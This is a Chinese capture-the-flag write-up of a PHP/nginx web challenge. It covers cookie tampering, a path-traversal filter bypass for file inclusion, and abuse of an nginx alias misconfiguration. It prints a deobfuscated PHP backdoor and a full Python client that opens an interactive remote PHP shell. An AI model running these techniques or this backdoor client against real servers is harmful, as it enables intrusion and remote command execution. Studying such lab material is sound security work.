CTF之Web_php_wrong_nginx_config

拿到题目发现是一个登入入口，尝试弱密码没用

 先对网站进行目录扫描，发现/admin/和/robots.txt

 在/robots.txt目录下发现

hint.php
Hack.php

 

 

 hint.php告诉我们：配置文件也许有问题呀：/etc/nginx/sites-enabled/site.conf

 Hack.php文件让我们先登录

 

再次进入Hack.php抓包将islogin=0改成=1

 发现进入了管理系统

  如果出现一直要登录可以试一下把储存里的cookie里的islogin改成1 

 然后点击管理中心（因为就点击其他东西没响应）得到一个?file=index&ext=php

然后试一下文件包含，由于../被过滤了所以我们用

?file=./..././..././..././..././etc/passwd&ext==php绕过

 将爆出来的东西整理一下，发现location /web-img开启了目录浏览 autoindex on;

            server {
    listen 8080; ## listen for ipv4; this line is default and implied
    listen [::]:8080; ## listen for ipv6

    root /var/www/html;
    index index.php index.html index.htm;
    port_in_redirect off;
    server_name _;

    # Make site accessible from http://localhost/
    #server_name localhost;

    # If block for setting the time for the logfile
    if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
       set $year $1;
       set $month $2;
       set $day $3;
    }
    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
    sendfile off;

        set $http_x_forwarded_for_filt $http_x_forwarded_for;
        if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
                set $http_x_forwarded_for_filt $1???;
        }

    # Add stdout logging

    access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
    error_log /var/log/nginx/error.log info;

    location / {
        # First attempt to serve request as file, then
        # as directory, then fall back to index.html
        try_files $uri $uri/ /index.php?q=$uri&$args;
        server_tokens off;
    }

    #error_page 404 /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page 500 502 503 504 /50x.html;
    location = /50x.html {
        root /usr/share/nginx/html;
    }
    location ~ \.php$ {
        try_files $uri $uri/ /index.php?q=$uri&$args;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_NAME $fastcgi_script_name;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
    }

    location ~ /\. {
            log_not_found off;
            deny all;
    }
    location /web-img {
        alias /images/;
        autoindex on;
    }
    location ~* \.(ini|docx|pcapng|doc)$ {  
         deny all;  
    }  

    include /var/www/nginx[.]conf;
}

 那就访问一下 /web-img

因为系统用到了alias ，会丢弃掉 location 的路径
因此 alias 后面的路径是从系统根目录开始的 所以加一个../

在/var/www下找到了

hack.php.bak

下载下来查看

<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

 将代码放入编辑器加一个echo $f;运行

整理一下

$kh="42f7";
$kf="e9ac";
function x($t,$k) {
	$c=strlen($k);
	$l=strlen($t);
	$o="";
	for ($i=0;$i<$l;) {
		for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
			$o.=$t {
				$i
			}
			^$k {
				$j
			}
			;
		}
	}
	return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
	$u=parse_url($rr);
	parse_str($u["query"],$q);
	$q=array_values($q);
	preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
	if($q&&$m) {
		@session_start();
		$s=&$_SESSION;
		$ss="substr";
		$sl="strtolower";
		$i=$m[1][0].$m[1][1];
		$h=$sl($ss(md5($i.$kh),0,3));
		$f=$sl($ss(md5($i.$kf),0,3));
		$p="";
		for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
		if(strpos($p,$h)===0) {
			$s[$i]="";
			$p=$ss($p,3);
		}
		if(array_key_exists($i,$s)) {
			$s[$i].=$p;
			$e=strpos($s[$i],$f);
			if($e) {
				$k=$kh.$kf;
				ob_start();
				@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
				$o=ob_get_contents();
				ob_end_clean();
				$d=base64_encode(x(gzcompress($o),$k));
				print("<$k>$d</$k>");
				@session_destroy();
			}
		}
	}
}

 大佬的php混淆后门脚本

# encoding: utf-8
 # $kh  、 $kf、url不一样的要自己改

from random import randint, choice
from hashlib import md5
import urllib.parse
import string
import zlib
import base64
import requests
import re


def choicePart(seq, amount):
    length = len(seq)
    if length == 0 or length < amount:
        print('Error Input')
        return None
    result = []
    indexes = []
    count = 0
    while count < amount:
        i = randint(0, length - 1)
        if i not in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result


def randBytesFlow(amount):
    result = b''
    for i in range(amount):
        result += bytes([randint(0, 255)])
    return result


def randAlpha(amount):
    result = ''
    for i in range(amount):
        result += choice(string.ascii_letters)
    return result


def loopXor(text, key):
    result = b''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt < lenTxt and iKey < lenKey:
            result += bytes([key[iKey] ^ text[iTxt]])
            iTxt += 1
            iKey += 1
    return result


def debugPrint(msg):
    if debugging:
        print(msg)


# config
debugging = False
keyh = "42f7"  # $kh
keyf = "e9ac"  # $kf
xorKey = keyh + keyf
url = 'http://61.147.171.105:56764/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None  # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(range(1, 10), 3), reverse=True)
acceptLang = [defaultLang]
for i in range(3):
    acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
md5head = (md5((init2Char + keyh).encode('utf-8')).hexdigest())[0:3]
md5tail = (md5((init2Char + keyf).encode('utf-8')).hexdigest())[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % (init2Char,))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = input('phpshell > ')
while cmd != '':
    # build junk data in referer
    query = []
    for i in range(max(indexes) + 1 + randint(0, 2)):
        key = randAlpha(randint(3, 6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12))).decode('utf-8')
        query.append((key, value))
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.parse.urlencode(query))
    # encode payload
    payload = zlib.compress(cmd.encode('utf-8'))
    payload = loopXor(payload, xorKey.encode('utf-8'))
    payload = base64.urlsafe_b64encode(payload).decode('utf-8')
    payload = md5head + payload
    # cut payload, replace into referer
    cutIndex = randint(2, len(payload) - 3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0], payloadPieces[iPiece])
        iPiece += 1
    referer = url + '?' + urllib.parse.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)
    # send request
    r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)
    html = r.text
    debugPrint(html)
    # process response
    pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print('Error,  no backdoor response')
        cmd = input('phpshell > ')
        continue
    output = output[0]
    debugPrint(output)
    output = base64.b64decode(output.encode('utf-8'))
    output = loopXor(output, xorKey.encode('utf-8'))
    output = zlib.decompress(output).decode('utf-8')
    print(output)
    cmd = input('phpshell > ')

 

 运行脚本拿到phpshell使用代码

 system('ls');

 system('cat fllla4aggg.php');

得到

$flag="ctf{a57b3698-eeae-48c0-a669-bafe3213568c}";